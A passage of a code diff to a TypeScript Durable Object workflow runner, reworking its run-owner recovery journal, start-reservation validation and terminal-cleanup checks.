+    expect(response.status).toBe(503);
   });
 });
diff --git a/packages/flowsafe/src/do-runner/durable-object.ts b/packages/flowsafe/src/do-runner/durable-object.ts
index 3ea9ee7a..35789fe1 100644
--- a/packages/flowsafe/src/do-runner/durable-object.ts
+++ b/packages/flowsafe/src/do-runner/durable-object.ts
@@ -28,7 +28,19 @@ import {
 } from './deployment-identity.js';
 import { DoStatusError, doErrorResponse } from './do-error-response.js';
 import {
-  admitsExistingRun,
+  type D1RunExecutionIdentity,
+  ExecutionFenceUnreadableError,
+  isRunStartPendingError,
+  MUTATION_EPOCH_HEADER,
+  mutationEpochFromHeader,
+  normalizeD1RunExecutionIdentity,
+  normalizeRunExecutionIdentity,
+  normalizeStartExecutionIdentity,
+  normalizeStartIdentity,
+  type RunExecutionIdentity,
+  RunStartPendingError,
+} from './execution-admission.js';
+import {
   admitsRunStart,
   ExecutionFencedError,
   type ExecutionFenceReading,
@@ -36,9 +48,17 @@ import {
   readExecutionFence,
 } from './execution-fence.js';
 import { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js';
+import { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js';
 import { isPathSafeId } from './path-safe-id.js';
 import {
+  lifecycleFromRequestContext,
+  terminalCleanupFor,
+} from './run-lifecycle.js';
+import { isTerminalRunStatus } from './run-terminal-state.js';
+import {
+  type AuthoritativeStartState,
   InvalidRunRequestError,
+  type RecoveredStart,
   RunAlreadyExistsError,
   type RunLifecycleCas,
   type RunLifecycleTransitionResult,
@@ -52,6 +72,11 @@ import {
   type ScheduleSourceStore,
   type ScheduleSourceWorkflowTarget,
 } from './schedule-source.js';
+import {
+  captureReservation,
+  type StartReservationReading,
+  sameReservationIdentity,
+} from './start-reservation-contract.js';
 import {
   dueSuspensionDeadline,
   isReadableRunSummary,
@@ -145,18 +170,73 @@ const SUSPENSION_DEADLINE_UNREADABLE_LIMIT_MS = 86_400_000;
 // lasts.
 const SUSPENSION_DEADLINE_ARM_FLOOR_MS = 1_000;
 
-interface RunOwnerRecovery {
-  version: 1;
+type RunOwnerRecovery = {
+  version: 2;
   workflowId: string;
   runId: string;
   token: string;
+  owner: DurableObjectRunOwner;
+  startReservation?: StartReservationReading;
+} & (
+  | { phase: 'preparing'; execution?: never }
+  | { phase: 'prepared'; execution: D1RunExecutionIdentity }
+  | { phase: 'prepared-unfenced'; execution: RunExecutionIdentity }
+);
+
+interface RunStartFrame {
+  token: string;
+  unwound: boolean;
+}
+
+function recoveryObject(value: unknown): Record<string, unknown> {
+  if (value === null || typeof value !== 'object' || Array.isArray(value))
+    throw new Error('stored run owner recovery is malformed');
+  const copy: Record<string, unknown> = Object.create(null);
+  for (const [key, descriptor] of Object.entries(
+    Object.getOwnPropertyDescriptors(value),
+  )) {
+    if (!('value' in descriptor))
+      throw new Error('stored run owner recovery is malformed');
+    copy[key] = descriptor.value;
+  }
+  return copy;
+}
+
+function sameRunRecovery(
+  actual: RunOwnerRecovery,
+  expected: RunOwnerRecovery,
+): boolean {
+  const claim = actual.startReservation;
+  const wantedClaim = expected.startReservation;
+  return (
+    actual.version === expected.version &&
+    actual.phase === expected.phase &&
+    actual.token === expected.token &&
+    actual.workflowId === expected.workflowId &&
+    actual.runId === expected.runId &&
+    actual.owner.kind === expected.owner.kind &&
+    actual.owner.id === expected.owner.id &&
+    actual.execution?.tablePrefix === expected.execution?.tablePrefix &&
+    actual.execution?.workflowId === expected.execution?.workflowId &&
+    actual.execution?.runId === expected.execution?.runId &&
+    actual.execution?.startToken === expected.execution?.startToken &&
+    (claim === undefined
+      ? wantedClaim === undefined
+      : wantedClaim !== undefined &&
+        sameReservationIdentity(claim, wantedClaim) &&
+        claim.state === wantedClaim.state &&
+        claim.updatedAt === wantedClaim.updatedAt &&
+        claim.binding.kind === wantedClaim.binding.kind)
+  );
 }
 
 interface StartBody {
+  startReservation?: unknown;
   workflowId?: string;
   runId?: string;
   inputData?: unknown;
   initialState?: unknown;
+  requestContext?: Record<string, unknown>;
   scheduleId?: unknown;
   dispatchId?: unknown;
   deadlineMs?: unknown;
@@ -246,16 +326,8 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
   #operationTail = Promise.resolve();
   /** `step\0reason` of every suspension deadline this object has reported. */
   #reportedSuspensionRejections = new Set<string>();
-  /**
-   * `workflowId:runId` of every start this object is currently executing — the
-   * liveness half of the idempotent-start replay decision.
-   *
-   * A SET rather than a stored key, because liveness is not durable state: the
-   * question is "is code running for this run right now", and the honest answer
-   * after an eviction is no. Anything written to storage would survive the
-   * isolate that wrote it and keep saying yes.
-   */
-  readonly #startsInFlight = new Set<string>();
+  /** Persisted claims outlive an isolate and cannot establish run liveness. */
+  readonly #startsInFlight = new Map<string, RunStartFrame>();
 
   constructor(state: DurableObjectRunnerState | undefined, env: TEnv) {
     this.state = state;
@@ -282,13 +354,16 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
 
   async fetch(request: Request): Promise<Response> {
     try {
+      const encodedPrincipal = request.headers.get(EXECUTION_PRINCIPAL_HEADER);
+      const encodedEpoch = request.headers.get(MUTATION_EPOCH_HEADER);
       // Deployment-identity check BEFORE any routing or storage work: under
       // workerd this instance refuses to serve until its env tag matches the
       // database sentinel (fail closed on a mis-provisioned binding); off
       // workerd (node tests, state undefined) it is a no-op. Memoized after
       // the first success, so steady-state requests pay nothing.
       await verifyDurableObjectDeploymentRequest(request, this.state, this.env);
-      return await this.#route(request);
+      const mutationEpoch = mutationEpochFromHeader(encodedEpoch);
+      return await this.#route(request, encodedPrincipal, mutationEpoch);
     } catch (error) {
       return doErrorResponse(error);
     }
@@ -388,14 +463,7 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     return value;
   }
 
-  /**
-   * The reserved timeout envelope is minted by the alarm and by nothing else.
-   * A caller allowed to resume could otherwise drive a step's timeout branch
-   * while provenance still names them as the requester, which would make the
-   * one contract this feature sells — a timeout resume is distinguishable from
-   * a real signal — untrue. The KEY is refused, not just a well-formed
-   * envelope, so a step that reads the key directly cannot be fooled either.
-   */
+  /** Caller-supplied timeout data would select the timeout branch with caller provenance. */
   #resumeData(value: unknown): unknown {
     if (
       value !== null &&
@@ -409,8 +477,7 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     return value;
   }
 
-  #trustedExecutionPrincipal(request: Request): ExecutionPrincipal {
-    const encoded = request.headers.get(EXECUTION_PRINCIPAL_HEADER);
+  #trustedExecutionPrincipal(encoded: string | null): ExecutionPrincipal {
     const principal = encoded ? decodeExecutionPrincipal(encoded) : undefined;
     if (!principal) {
       throw new DurableObjectRunIdentityError(
@@ -426,13 +493,100 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     runId: string,
     owner: DurableObjectRunOwner,
     result: RunLifecycleTransitionResult,
+    selected?: AuthoritativeStartState,
+    originalClaim?: StartReservationReading,
   ): Promise<RunSummary> {
+    const claim =
+      originalClaim === undefined
+        ? undefined
+        : captureReservation(originalClaim, 'started');
+    const assertQuiescent = (): void => {
+      if (
+        this.#startsInFlight.has(this.#inFlightKey(workflowId, runId)) ||
+        runtime.isRunActive(workflowId, runId)
+      )
+        throw new RunStartPendingError();
+    };
+    assertQuiescent();
+    const state =
+      selected ??
+      (await runtime.authoritativeStartState(workflowId, runId, {
+        includeLegacy: true,
+      }));
+    if (
+      !state ||
+      state.kind === 'initial' ||
+      !isTerminalRunStatus(state.snapshot.status) ||
+      !isTerminalRunStatus(state.summary.status)
+    )
+      throw new RunStateUnreadableError(workflowId, runId);
+    const cleanup = terminalCleanupFor(
+      lifecycleFromRequestContext(state.snapshot.requestContext),
+    );
+    if (
+      !cleanup ||
+      state.summary.runId !== result.summary.runId ||
+      state.summary.status !== result.summary.status ||
+      cleanup.status !== result.cleanup.status ||
+      cleanup.revision !== result.cleanup.revision ||
+      cleanup.scheduleDispatch?.scheduleId !==
+        result.cleanup.scheduleDispatch?.scheduleId ||
+      cleanup.scheduleDispatch?.dispatchId !==
+        result.cleanup.scheduleDispatch?.dispatchId ||
+      (result.cleanup.cleanupCompleted && !cleanup.cleanupCompleted)
+    )
+      throw new RunStateUnreadableError(workflowId, runId);
+    const stored = await this.state?.storage?.get(RUN_OWNER_RECOVERY_KEY);
+    assertQuiescent();
+    if (state.kind === 'legacy') {
+      if (stored !== undefined || claim !== undefined)
+        throw new RunStateUnreadableError(workflowId, runId);
+    } else if (stored !== undefined) {
+      const recovery = this.#runOwnerRecovery(stored);
+      this.#assertRunIdentity(recovery.workflowId, recovery.runId);
+      if (
+        claim &&
+        !sameRunRecovery(recovery, { ...recovery, startReservation: claim })
+      )
+        throw new RunStateUnreadableError(workflowId, runId);
+      return this.#finishRunOwner(recovery, state.summary, state);
+    } else {
+      await runtime.settleStartExecution(state, claim);
+    }
+    const assertNoJournal = async (): Promise<void> => {
+      assertQuiescent();
+      if (
+        (await this.state?.storage?.get(RUN_OWNER_RECOVERY_KEY)) !== undefined
+      )
+        throw new RunStateUnreadableError(workflowId, runId);
+      assertQuiescent();
+    };
+    return this.#completeTerminalEffects(
+      runtime,
+      workflowId,
+      runId,
+      owner,
+      { ...result, summary: state.summary, cleanup },
+      assertNoJournal,
+    );
+  }
+
+  async #completeTerminalEffects(
+    runtime: RunnerRuntime,
+    workflowId: string,
+    runId: string,
+    owner: DurableObjectRunOwner,
+    result: RunLifecycleTransitionResult,
+    validate?: () => Promise<void>,
+  ): Promise<RunSummary> {
+    if (validate) await validate();
     if (result.cleanup.cleanupCompleted) return result.summary;
     const hooks = this.runLifecycle(this.env);
     if (!hooks) {
       throw new Error('run termination requires lifecycle cleanup hooks');
     }
     await hooks.abandonApprovals(workflowId, runId, result.cleanup.status);
+    if (validate) await validate();
     if (result.cleanup.scheduleDispatch) {
       if (!hooks?.discardScheduleDispatch) {
         throw new Error(
@@ -444,23 +598,28 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
         result.cleanup.scheduleDispatch.dispatchId,
         runId,
       );
+      if (validate) await validate();
     }
     const ownership = this.runOwnership(this.env);
     if (!ownership.release) {
       throw new Error('run termination requires ownership release support');
     }
     const released = await ownership.release('run', runId, owner);
+    if (validate) await validate();
     if (!released) {
       const current = await ownership.owner('run', runId);
+      if (validate) await validate();
       if (current) {
         throw new Error(`run '${runId}' ownership could not be released`);
       }
     }
-    return runtime.completeTerminalCleanup(
+    const summary = await runtime.completeTerminalCleanup(
       workflowId,
       runId,
       result.cleanup.revision,
     );
+    if (validate) await validate();
+    return summary;
   }
 
   async #startSource(
@@ -619,6 +778,16 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     await storage.setAlarm(Date.now() + RUN_OWNER_RECOVERY_DELAY_MS);
   }
 
+  /**
+   * The run-owner journal's absence policy, one rule across its entry points:
+   * arming (here, and the alarm it takes through #armAlarmFor) and clearing
+   * (#clearRunOwnerRecovery) are advisory and do nothing on a host with no
+   * storage, while promoting a claim to `prepared` (#prepareRunOwner) requires
+   * storage and refuses without it. A host that journals nothing leaves no
+   * claim for a wake to recover, so arming and clearing have nothing to do; a
+   * prepared run whose journal cannot be written leaves a claim no wake can
+   * find, which is why that half fails the start instead.
+   */
   async #armRunOwnerRecovery(recovery: RunOwnerRecovery): Promise<void> {
     const storage = this.state?.storage;
     if (!storage) return;
@@ -631,16 +800,28 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     await storage.put(RUN_OWNER_RECOVERY_KEY, recovery);
   }
 
+  async #assertRunOwnerRecoveryCurrent(
+    recovery: RunOwnerRecovery,
+  ): Promise<void> {
+    const current = await this.state?.storage?.get(RUN_OWNER_RECOVERY_KEY);
+    if (
+      current === undefined ||
+      !sameRunRecovery(this.#runOwnerRecovery(current), recovery)
+    )
+      throw new Error('run owner recovery changed');
+  }
+
   /**
-   * `keepWake` is set by a caller whose reconciliation failed with something
-   * to arm: the retry wake it left is the only thing that will re-derive that
-   * deadline, and re-arming from storage here would find no record and no
-   * journal and DELETE it. Keeping the recovery cadence instead costs one
-   * spurious wake and cannot lose a deadline.
+   * Failed reconciliation can leave a retry wake without a stored deadline.
+   * Keeping that wake avoids losing it when alarms are rebuilt from storage.
    */
-  async #clearRunOwnerRecovery(keepWake: boolean): Promise<void> {
+  async #clearRunOwnerRecovery(
+    recovery: RunOwnerRecovery,
+    keepWake: boolean,
+  ): Promise<void> {
     const storage = this.state?.storage;
     if (!storage) return;
+    await this.#assertRunOwnerRecoveryCurrent(recovery);
     await storage.delete(RUN_OWNER_RECOVERY_KEY);
     if (keepWake) {
       await this.#armAlarmWatchdog();
@@ -649,33 +830,123 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     await this.#armNextAlarm();
   }
 
-  async #clearRunOwnerRecoveryBestEffort(keepWake: boolean): Promise<void> {
+  async #prepareRunOwner(
+    recovery: RunOwnerRecovery,
+    execution: RunExecutionIdentity,
+  ): Promise<RunOwnerRecovery> {
+    const identity = normalizeRunExecutionIdentity(execution);
+    if (
+      identity.runId !== recovery.runId ||
+      identity.workflowId !== recovery.workflowId
+    )
+      throw new Error('prepared run identity mismatch');
+    const prepared: RunOwnerRecovery = this.#ensureRuntime().executionFence
+      ? {
+          ...recovery,
+          phase: 'prepared',
+          execution: normalizeD1RunExecutionIdentity(identity),
+        }
+      : { ...recovery, phase: 'prepared-unfenced', execution: identity };
+    const storage = this.state?.storage;
+    if (!storage)
+      throw new Error('run owner recovery requires durable storage');
+    const current = this.#runOwnerRecovery(
+      await storage.get(RUN_OWNER_RECOVERY_KEY),
+    );
+    if (sameRunRecovery(current, prepared)) return prepared;
+    if (current.phase !== 'preparing' || !sameRunRecovery(current, recovery))
+      throw new Error('run owner recovery changed');
     try {
-      await this.#clearRunOwnerRecovery(keepWake);
+      await storage.put(RUN_OWNER_RECOVERY_KEY, prepared);
     } catch (error) {
-      console.error('run owner recovery cleanup failed', error);
+      const reread = await storage.get(RUN_OWNER_RECOVERY_KEY);
+      if (
+        reread === undefined ||
+        !sameRunRecovery(this.#runOwnerRecovery(reread), prepared)
+      )
+        throw error;
     }
+    return prepared;
   }
 
-  async #settleRunOwnerBestEffort(
+  #matchingRunState(
     recovery: RunOwnerRecovery,
-    release: boolean,
-    keepWake = false,
-  ): Promise<void> {
-    try {
-      await this.runOwnership(this.env).settleReservation(
-        recovery.token,
-        release ? [{ kind: 'run', resourceId: recovery.runId }] : [],
+    state: AuthoritativeStartState | null,
+  ): AuthoritativeStartState {
+    const execution = recovery.execution;
+    if (
+      !state ||
+      !execution ||
+      state.execution.tablePrefix !== execution.tablePrefix ||
+      state.execution.workflowId !== execution.workflowId ||
+      state.execution.runId !== execution.runId ||
+      state.execution.startToken !== execution.startToken
+    )
+      throw new RunStateUnreadableError(recovery.workflowId, recovery.runId);
+    const identity = state.provenance.startIdentity;
+    if (
+      identity?.target.kind !== 'workflow' ||
+      identity.target.id !== recovery.workflowId ||
+      state.provenance.agentStart !== undefined
+    )
+      throw new RunStateUnreadableError(recovery.workflowId, recovery.runId);
+    const claim = recovery.startReservation;
+    if (
+      claim &&
+      (identity.owner.kind !== claim.owner.kind ||
+        identity.owner.id !== claim.owner.id)
+    )
+      throw new RunStateUnreadableError(recovery.workflowId, recovery.runId);
+    return state;
+  }
+
+  async #finishRunOwner(
+    recovery: RunOwnerRecovery,
+    summary: RunSummary,
+    selected?: AuthoritativeStartState,
+  ): Promise<RunSummary> {
+    const runtime = this.#ensureRuntime();
+    if (recovery.startReservation && !runtime.startIdempotency)
+      throw new ExecutionFenceUnreadableError(
+        'run start recovery is unresolved',
       );
-      await this.#clearRunOwnerRecoveryBestEffort(keepWake);
-    } catch (error) {
-      console.error('run owner recovery settlement failed', error);
-      try {
-        await this.#rearmRunOwnerRecovery();
-      } catch (alarmError) {
-        console.error('run owner recovery rearm failed', alarmError);
-      }
-    }
+    await this.#assertRunOwnerRecoveryCurrent(recovery);
+    const state = this.#matchingRunState(
+      recovery,
+      selected ??
+        (await runtime.authoritativeStartState(
+          recovery.workflowId,
+          recovery.runId,
+        )),
+    );
+    if (state.kind === 'initial') throw new RunStartPendingError();
+    await this.#assertRunOwnerRecoveryCurrent(recovery);
+    if (isTerminalRunStatus(state.summary.status))
+      await runtime.settleStartExecution(state, recovery.startReservation);
+    await this.runOwnership(this.env).settleReservation(recovery.token, []);
+    const cleanup = terminalCleanupFor(
+      lifecycleFromRequestContext(state.snapshot.requestContext),
+    );
+    if (cleanup)
+      summary = await this.#completeTerminalEffects(
+        runtime,
+        recovery.workflowId,
+        recovery.runId,
+        recovery.owner,
+        {
+          summary: state.summary,
+          transitioned: false,
+          casMatched: true,
+          cleanup,
+        },
+      );
+    const reconciled = await this.#reconcileSuspensionDeadlinesBestEffort(
+      recovery.workflowId,
+      recovery.runId,
+      summary,
+    );
+    await this.#clearRunOwnerRecovery(recovery, !reconciled);
+    return summary;
   }
 
   async #rearmRunOwnerRecovery(): Promise<void> {
@@ -1045,6 +1316,7 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     try {
       return await runtime.authoritativeStatus(workflowId, runId);
     } catch (error) {
+      if (isRunStartPendingError(error)) throw error;
       throw error instanceof RunStateUnreadableError
         ? error
         : new RunStateUnreadableError(workflowId, runId, { cause: error });
@@ -1288,6 +1560,26 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
       await this.#resumeDueSuspensionDeadline(runtime, stored, entry, now);
       return true;
     } catch (error) {
+      if (isRunStartPendingError(error)) {
+        if (
+          stored?.entries.some((entry) => entry.unreadableSince !== undefined)
+        ) {
+          try {
+            await this.state?.storage?.put(SUSPENSION_DEADLINE_STORAGE_KEY, {
+              ...stored,
+              entries: stored.entries.map(
+                ({ unreadableSince: _unreadableSince, ...entry }) => entry,
+              ),
+            });
+          } catch (resetError) {
+            console.error(
+              'suspension deadline pending stamp reset failed',
+              resetError,
+            );
+          }
+        }
+        return false;
+      }
       // The deployment is fenced (or its fence could not be read). Classified
       // with the same THREE outcomes as an unreadable read — uncharged,
       // unconverged, watchdog cadence — because a wake refused by an
@@ -1349,56 +1641,173 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     }
   }
 
-  async #recoverRunOwner(recovery: RunOwnerRecovery): Promise<void> {
-    const summary = await this.#ensureRuntime().recoverStartAttempt(
-      recovery.workflowId,
-      recovery.runId,
-      recovery.token,
-    );
-    await this.runOwnership(this.env).settleReservation(
-      recovery.token,
-      summary ? [] : [{ kind: 'run', resourceId: recovery.runId }],
-    );
-    // A start interrupted AFTER Mastra persisted a suspension is the one case
-    // where no other boundary is coming: the route that would have reconciled
-    // died with its isolate, and clearing the journal below re-arms the alarm
-    // from a record nothing ever wrote. This summary is the authoritative one
-    // recoverStartAttempt read back, so derive from it here or the run stays
-    // suspended with no wake at all. It needs no readability guard of its own:
-    // recoverStartAttempt now throws RunStateUnreadableError on Mastra's
-    // in-memory fallback BEFORE it concludes anything from it, so a degraded
-    // read never reaches this line. That throw leaves the journal and the
-    // reservation intact and propagates to alarm(), which classifies it and
-    // keeps the 60 s recovery cadence until the read heals.
-    const reconciled = summary
-      ? await this.#reconcileSuspensionDeadlinesBestEffort(
+  async #recoverRunOwner(
+    recovery: RunOwnerRecovery,
+    ownFrame?: RunStartFrame,
+    ownFailure?: unknown,
+  ): Promise<RunSummary | null> {
+    this.#assertRunIdentity(recovery.workflowId, recovery.runId);
+    const runtime = this.#ensureRuntime();
+    if (recovery.startReservation && !runtime.startIdempotency)
+      throw new ExecutionFenceUnreadableError(
+        'run start recovery is unresolved',
+      );
+    const key = this.#inFlightKey(recovery.workflowId, recovery.runId);
+    const quiescent = (): boolean => {
+      const active = this.#startsInFlight.get(key);
+      return (
+        active === undefined ||
+        (active === ownFrame &&
+          ownFrame.unwound &&
+          ownFrame.token === recovery.token)
+      );
+    };
+    if (
+      !quiescent() ||
+      runtime.isRunActive(recovery.workflowId, recovery.runId)
+    )
+      throw new RunStartPendingError();
+    await this.#assertRunOwnerRecoveryCurrent(recovery);
+    let recovered: RecoveredStart | null = null;
+    if (recovery.phase === 'prepared') {
+      recovered = await runtime.recoverStartAttempt(recovery.execution, {
+        attemptToken: recovery.token,
+        isOwnerQuiescent: quiescent,
+        startReservation: recovery.startReservation,
+        expectedTarget: { kind: 'workflow' },
+      });
+    } else if (recovery.phase === 'prepared-unfenced') {
+      const state = this.#matchingRunState(
+        recovery,
+        await runtime.authoritativeStartState(
           recovery.workflowId,
           recovery.runId,
-          summary,
-        )
-      : true;
-    await this.#clearRunOwnerRecovery(!reconciled);
+        ),
+      );
+      if (state.kind === 'initial') throw new RunStartPendingError();
+      return this.#finishRunOwner(recovery, state.summary, state);
+    }
+    await this.#assertRunOwnerRecoveryCurrent(recovery);
+    if (recovered) {
+      const summary =
+        recovered.kind === 'ordinary'
+          ? recovered.summary
+          : recovered.transition.summary;
+      if (recovered.kind === 'lifecycle') {
+        // Runtime already strictly settled the single selected recovery observation.
+        await this.runOwnership(this.env).settleReservation(recovery.token, []);
+        const completed = recovered.transition.cleanup.cleanupCompleted
+          ? summary
+          : await this.#completeTerminalEffects(
+              runtime,
+              recovery.workflowId,
+              recovery.runId,
+              recovery.owner,
+              recovered.transition,
+            );
+        const reconciled = await this.#reconcileSuspensionDeadlinesBestEffort(
+          recovery.workflowId,
+          recovery.runId,
+          completed,
+        );
+        await this.#clearRunOwnerRecovery(recovery, !reconciled);
+        return completed;
+      }
+      await this.runOwnership(this.env).settleReservation(recovery.token, []);
+      const reconciled = await this.#reconcileSuspensionDeadlinesBestEffort(
+        recovery.workflowId,
+        recovery.runId,
+        summary,
+      );
+      await this.#clearRunOwnerRecovery(recovery, !reconciled);
+      return summary;
+    }
+    const localZero = (): boolean =>
+      recovery.phase === 'prepared' &&
+      ownFrame !== undefined &&
+      this.#startsInFlight.get(key) === ownFrame &&
+      ownFrame.unwound &&
+      ownFrame.token === recovery.token &&
+      isDefinitiveInitialAdmissionRefusal(ownFailure, recovery.execution);
+    await this.runOwnership(this.env).settleReservation(recovery.token, [
+      { kind: 'run', resourceId: recovery.runId },
+    ]);
+    if (recovery.phase === 'prepared' && !localZero()) {
+      await this.#rearmRunOwnerRecovery();
+      throw new ExecutionFenceUnreadableError(
+        'run start recovery is unresolved',
+      );
+    }
+    await this.#assertRunOwnerRecoveryCurrent(recovery);
+    await this.#clearRunOwnerRecovery(recovery, false);
+    return null;
   }
 
   #runOwnerRecovery(value: unknown): RunOwnerRecovery {
-    if (value === null || typeof value !== 'object') {
-      throw new Error('stored run owner recovery is malformed');
-    }
-    const stored = value as Partial<RunOwnerRecovery>;
+    const stored = recoveryObject(value);
+    const owner = recoveryObject(stored.owner);
     if (
-      stored.version !== 1 ||
+      stored.version !== 2 ||
       !isPathSafeId(stored.workflowId) ||
       !isPathSafeId(stored.runId) ||
-      !isPathSafeId(stored.token)
-    ) {
+      !isPathSafeId(stored.token) ||
+      !isExecutionPrincipalKind(owner.kind) ||
+      !isExecutionPrincipalId(owner.id)
+    )
       throw new Error('stored run owner recovery is malformed');
-    }
-    return {
-      version: 1,
+    const rawClaim =
+      stored.startReservation === undefined
+        ? undefined
+        : recoveryObject(stored.startReservation);
+    const claim =
+      rawClaim === undefined
+        ? undefined
+        : captureReservation(
+            {
+              ...rawClaim,
+              owner: recoveryObject(rawClaim.owner),
+              binding: recoveryObject(rawClaim.binding),
+            } as unknown as StartReservationReading,
+            'started',
+          );
+    if (
+      claim &&
+      (claim.targetKind !== 'workflow' ||
+        claim.targetId !== stored.workflowId ||
+        claim.runId !== stored.runId ||
+        claim.threadId !== undefined)
+    )
+      throw new Error('stored run owner recovery is malformed');
+    const base = {
+      version: 2 as const,
       workflowId: stored.workflowId,
       runId: stored.runId,
       token: stored.token,
+      owner: { kind: owner.kind, id: owner.id },
+      ...(claim ? { startReservation: claim } : {}),
     };
+    if (stored.phase === 'preparing' && !Object.hasOwn(stored, 'execution'))
+      return { ...base, phase: 'preparing' };
+    if (stored.phase !== 'prepared' && stored.phase !== 'prepared-unfenced')
+      throw new Error('stored run owner recovery is malformed');
+    const raw = recoveryObject(stored.execution);
+    const execution =
+      stored.phase === 'prepared'
+        ? normalizeD1RunExecutionIdentity(raw)
+        : normalizeRunExecutionIdentity(raw);
+    if (
+      execution.tablePrefix !== raw.tablePrefix ||
+      execution.workflowId !== base.workflowId ||
+      execution.runId !== base.runId
+    )
+      throw new Error('stored run owner recovery is malformed');
+    return stored.phase === 'prepared'
+      ? {
+          ...base,
+          phase: 'prepared',
+          execution: normalizeD1RunExecutionIdentity(execution),
+        }
+      : { ...base, phase: 'prepared-unfenced', execution };
   }
 
   async #recoverPendingRunOwner(): Promise<void> {
@@ -1458,29 +1867,61 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     });
   }
 
-  async #route(request: Request): Promise<Response> {
+  async #route(
+    request: Request,
+    encodedPrincipal: string | null,
+    mutationEpoch: number | undefined,
+  ): Promise<Response> {
     const segments = new URL(request.url).pathname.split('/').filter(Boolean);
     if (segments[0] !== 'runs') return json({ error: 'not found' }, 404);
     const [, workflowId, runId, action] = segments;
 
     if (request.method === 'POST' && segments.length === 1) {
+      const principal = this.#trustedExecutionPrincipal(encodedPrincipal);
       return this.#withOperationLock(async () => {
-        const principal = this.#trustedExecutionPrincipal(request);
         const body = await readJson<StartBody>(request);
-        if (!body || typeof body.workflowId !== 'string') {
+        if (
+          body &&
+          [
+            'mutationEpoch',
+            'startIdentity',
+            'agentStart',
+            'execution',
+            'tablePrefix',
+            'startToken',
+            'attemptToken',
+            'runOwnerGuard',
+            'onPreparedStartIdentity',
+          ].some((key) => Object.hasOwn(body, key))
+        ) {
+          throw new InvalidRunRequestError(
+            'start authority is derived from trusted provenance',
+          );
+        }
+        const {
+          workflowId,
+          runId,
+          inputData,
+          initialState,
+          requestContext,
+          scheduleId,
+          dispatchId,
+          deadlineMs,
+          idempotencyKey: rawIdempotencyKey,
+          startReservation: suppliedReservation,
+        } = body ?? {};
+        if (typeof workflowId !== 'string') {
           return json({ error: 'workflowId is required' }, 400);
         }
         // The DO never generates a runId: the trusted Worker mints the id and
         // addresses this instance with it. A start without one is a caller bug,
         // not a request for generation.
-        if (typeof body.runId !== 'string') {
+        if (typeof runId !== 'string') {
           return json(
             { error: 'runId is required (server-minted by the run router)' },
             400,
           );
         }
-        const workflowId = body.workflowId;
-        const runId = body.runId;
         if (!isPathSafeId(workflowId) || !isPathSafeId(runId)) {
           throw new InvalidRunRequestError(
             'workflowId and runId must be URL-path-safe identifiers',
@@ -1491,40 +1932,70 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
         // rather than trusted because this body is JSON: an unvalidated value
         // would reach the fence's proof-only comparison and the runtime's
         // reservation as whatever the parser produced.
-        const idempotencyKey = this.#startIdempotencyKey(body.idempotencyKey);
-        // The fence BEFORE any of this object's own reads or writes: the
-        // schedule-source lookup below, the recovery pass, the journal at
-        // #armRunOwnerRecovery, and the owner reservation all touch storage,
-        // and a deployment that is refusing to execute must not leave a run
-        // half-claimed on its way to saying no. The runtime's own check inside
-        // start() stays the backstop for every other caller.
-        //
-        // The KEY is what admits a proof-only start: in that state the fence
-        // nominates exactly one key, and a start carrying it is the proof run.
-        // This check reads the fence but does NOT bind the proof to the run —
-        // `recordProofRun` belongs to the runtime's own assert, which is the
-        // last gate before execution and the only one every caller passes.
-        // Binding here as well would let a start that this route later refused
-        // (an existing run, a schedule-source mismatch) consume the deployment's
-        // one proof slot.
-        const startFence = await this.#readExecutionFence();
-        if (!admitsRunStart(startFence, idempotencyKey)) {
-          throw new ExecutionFencedError(startFence.state, 'run start');
+        const idempotencyKey = this.#startIdempotencyKey(rawIdempotencyKey);
+        const startReservation =
+          suppliedReservation === undefined
+            ? undefined
+            : captureReservation(
+                suppliedReservation as StartReservationReading,
+                'started',
+              );
+        if (
+          startReservation &&
+          (startReservation.key !== idempotencyKey ||
+            startReservation.runId !== runId ||
+            startReservation.targetKind !== 'workflow' ||
+            startReservation.targetId !== workflowId ||
+            startReservation.threadId !== undefined ||
+            startReservation.owner.kind !== principal.kind ||
+            startReservation.owner.id !== principal.id ||
+            !this.#ensureRuntime().startIdempotency)
+        )
+          throw new InvalidRunRequestError(
+            'start reservation does not match the trusted start',
+          );
+        const startIdentity = normalizeStartIdentity({
+          owner: { kind: principal.kind, id: principal.id },
+          target: { kind: 'workflow', id: workflowId },
+        });
+        // Only this local preflight can release the captured claim. Admission
+        // and proof binding belong to Runtime after durable preparation.
+        try {
+          const startFence = await this.#readExecutionFence();
+          if (!admitsRunStart(startFence, idempotencyKey))
+            throw new ExecutionFencedError(startFence.state, 'run start');
+        } catch (error) {
+          if (startReservation) {
+            try {
+              await this.#ensureRuntime().startIdempotency?.releaseReservation(
+                startReservation,
+              );
+            } catch (releaseError) {
+              console.error(
+                'start reservation preflight release failed',
+                releaseError,
+              );
+            }
+          }
+          throw error;
         }
         const source = await this.#startSource(
           principal,
           workflowId,
           runId,
-          body.scheduleId,
-          body.dispatchId,
+          scheduleId,
+          dispatchId,
         );
+        const rawOwner = source.owner;
+        const owner = Object.freeze({ kind: rawOwner.kind, id: rawOwner.id });
+        const target = source.target;
+        const resolvedInput = target ? target.inputData : inputData;
+        const resolvedState = target ? target.initialState : initialState;
+        const storedRequestContext = target
+          ? target.requestContext
+          : requestContext;
         const runtime = this.#ensureRuntime();
         await this.#recoverPendingRunOwner();
-        // Stays on status(), and NOT because failing open would be safer: the
-        // dangerous shape here is a row miss with no in-memory Run, which
-        // carries no marker at all, so authoritativeStatus could not tell it
-        // from an absent run either. The recovery above is what covers the
-        // interrupted-start case, and it fails closed on an unreadable read.
         const existing = await runtime.status(workflowId, runId);
         if (existing) {
           const registered = await this.runOwnership(this.env).owner(
@@ -1533,8 +2004,8 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
           );
